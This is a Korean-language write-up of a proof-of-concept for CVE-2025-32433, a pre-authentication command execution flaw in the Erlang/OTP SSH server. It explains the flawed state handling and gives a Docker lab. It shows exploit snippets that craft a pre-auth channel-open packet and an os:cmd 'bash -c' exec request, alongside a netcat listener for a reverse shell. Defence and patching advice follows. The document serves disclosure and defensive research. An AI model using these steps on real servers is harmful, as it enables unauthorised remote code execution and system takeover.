중요한 점은, 이 문제는 취약한 자격 증명이나 잘못된 구성에 의존하지 않고, 잘못된 프로토콜 상태 처리에 기인한다는 것입니다.

기술적 근본 원인 및 악용 흐름

취약점은 어떻게 나타나며, 왜 악용 가능한가요?

이 문제는 Erlang/OTP SSH 서버의 상태 혼동 결함에서 비롯되며, 여기서 인증 상태가 채널 관련 메시지가 처리되기 전에 엄격하게 적용되지 않습니다.

높은 수준에서 악용은 다음과 같이 진행됩니다:

1. 공격자는 SSH 버전 교환 및 키 교환 단계를 완료합니다.
2. 서버는 연결을 활성 세션 상태로 전환하며, 성공적인 사용자 인증을 적용하지 않습니다.
3. 공격자는 session 채널에 대한 SSH_MSG_CHANNEL_OPEN 요청을 보냅니다.
4. 서버는 인증 완료 전에 채널 요청을 잘못 수락합니다.
5. 열린 채널에서 exec 유형의 SSH_MSG_CHANNEL_REQUEST가 전송됩니다.
6. Erlang SSH 서브시스템은 요청을 연결 핸들러로 전달합니다.
7. 제공된 페이로드는 VM 컨텍스트 내에서 Erlang 기본 요소(예: os:cmd/1)를 통해 실행됩니다.

이 동작은 RFC 4252/4254에 정의된 SSH 프로토콜 모델을 위반하며, 여기서 채널 생성 및 요청은 성공적인 인증 후에만 허용되어야 합니다.

간단히 말해:

• 인증 상태는 추적되지만 적용되지 않음
• 채널 처리는 인증 상태가 아닌 세션 상태에 의해 게이트됨
• ssh_connection 프로세스가 exec 요청을 조기에 처리함
• 이로 인해 사전 인증 원격 코드 실행이 가능해짐

이는 논리 및 상태 관리 취약점으로, 암호학적 약점이 아닙니다.

빌드 및 배포

다음 단계는 Docker를 사용하여 자체 포함 취약 환경을 빌드하고 배포합니다. 컨테이너는 모든 자격 증명을 거부하도록 의도적으로 강화된 SSH 서버를 실행하며, 모든 성공적인 명령 실행이 인증 우회의 결과임을 보장합니다.

실행되면 SSH 데몬이 포트 2222에 노출되며, 제공된 PoC를 사용하여 악용할 준비가 됩니다.

악용

이 스크립트는 Erlang/OTP SSH 서버에서 특정 SSH 프로토콜 메시지가 인증 전에 처리될 수 있도록 하는 결함을 악용합니다.

악용 과정에는 두 개의 터미널이 필요합니다: 하나는 역방향 연결을 수신하고, 다른 하나는 악용을 실행합니다.

• 리스너 (터미널 1):

  root@kitploit:~

  nc -lvnp 4488
  

• 악용 실행 (터미널 2):

  root@kitploit:~

  python3 exploit.py
  

악용 스크립트 워크스루

1. 프로토콜 스푸핑

   root@kitploit:~

   s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
   s.sendall(pad(kex))
   

   이러한 메시지는 서버가 연결을 합법적인 SSH 클라이언트로 취급하도록 만드는 데 사용됩니다. 이들은 인증을 완료하지 않고도 채널 관련 메시지를 허용할 수 있을 만큼 SSH 프로토콜 상태를 전진시킵니다.

2. 사전 인증 세션 채널

   root@kitploit:~

   s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
   

   이 요청은 인증 전에 세션 채널을 여는 데 사용됩니다. 취약한 Erlang/OTP SSH 서버에서 이는 정상적인 접근 제어를 우회하고 권한 없는 세션을 생성합니다.

3. 명령 실행 요청

   root@kitploit:~

   erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
   exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
   

   이 요청은 Erlang 런타임을 통해 명령 실행을 트리거하는 데 사용됩니다. 페이로드를 Erlang 구문으로 감싸면 명령이 표준 SSH 셸 명령이 아닌 Erlang VM에 의해 실행되도록 보장합니다.

결과

대상이 취약한 경우, 인증 없이 제공된 명령이 실행됩니다.

방어

이 취약점에 대한 방어는 엄격한 네트워크 분할 및 프로토콜 수준 모니터링에 의존합니다. 표준 인증 로그는 (인증이 생략되므로) 우회 시도를 기록하지 않을 수 있습니다.

• 네트워크 제한: Erlang SSH 포트(기본 또는 사용자 정의)를 공용 인터넷에 노출하지 마십시오. 신뢰할 수 있는 IP로 접근을 제한하거나 VPN/배스천 호스트를 요구하십시오.
• IDS/IPS 시그니처: 침입 탐지 시스템을 구성하여 키 교환 직후, SSH_MSG_USERAUTH_SUCCESS(유형 52) 패킷이 선행되지 않은 상태에서 SSH_MSG_CHANNEL_OPEN(유형 90) 패킷이 전송되는 SSH 세션에 대해 경고하도록 설정하십시오.
• 런타임 모니터링: 예상치 못한 os:cmd 호출이나 애플리케이션 로그에서 성공적으로 로그인한 사용자 세션과 상관 관계가 없는 셸 프로세스 생성이 있는지 Erlang VM을 모니터링하십시오.

완화

완전한 해결책은 기본 Erlang/OTP 런타임을 패치하여 엄격한 상태 전이를 적용하는 것입니다.

1. Erlang/OTP 업데이트

채널 생성 전에 인증 검사를 적용하는 버전으로 Erlang/OTP 런타임을 즉시 업그레이드하십시오. "영향을 받는 조건" 섹션에 나열된 버전보다 최신 버전을 실행 중인지 확인하십시오.

최신 보안 패치에 대한 공식 Erlang/OTP GitHub 릴리스를 확인하십시오.

2. 임시 해결 방법

즉시 업그레이드가 불가능한 경우 다음 제어 조치를 적용하십시오:

• SSH 애플리케이션 비활성화: SSH 인터페이스가 임무에 중요하지 않은 경우 애플리케이션을 중지하여 공격 표면을 제거하십시오:

  root@kitploit:~

  ssh:stop().
  

• 방화벽 화이트리스트: 노출된 SSH 포트에 대한 네트워크 접근을 내부 관리 서브넷으로만 엄격히 제한하십시오.

협력자

Antonie Șoga AntonieSoga · 협력자

Ene Călin Tudor 7uddy · 협력자

Cristian Bănică BanicaCristian04 · 협력자

⚠️ 면책 조항

교육 및 방어 연구 목적으로만 사용하십시오.

참고 자료

• CVE-2025-32433
• Erlang/OTP SSH Source
• RFC 4252/4254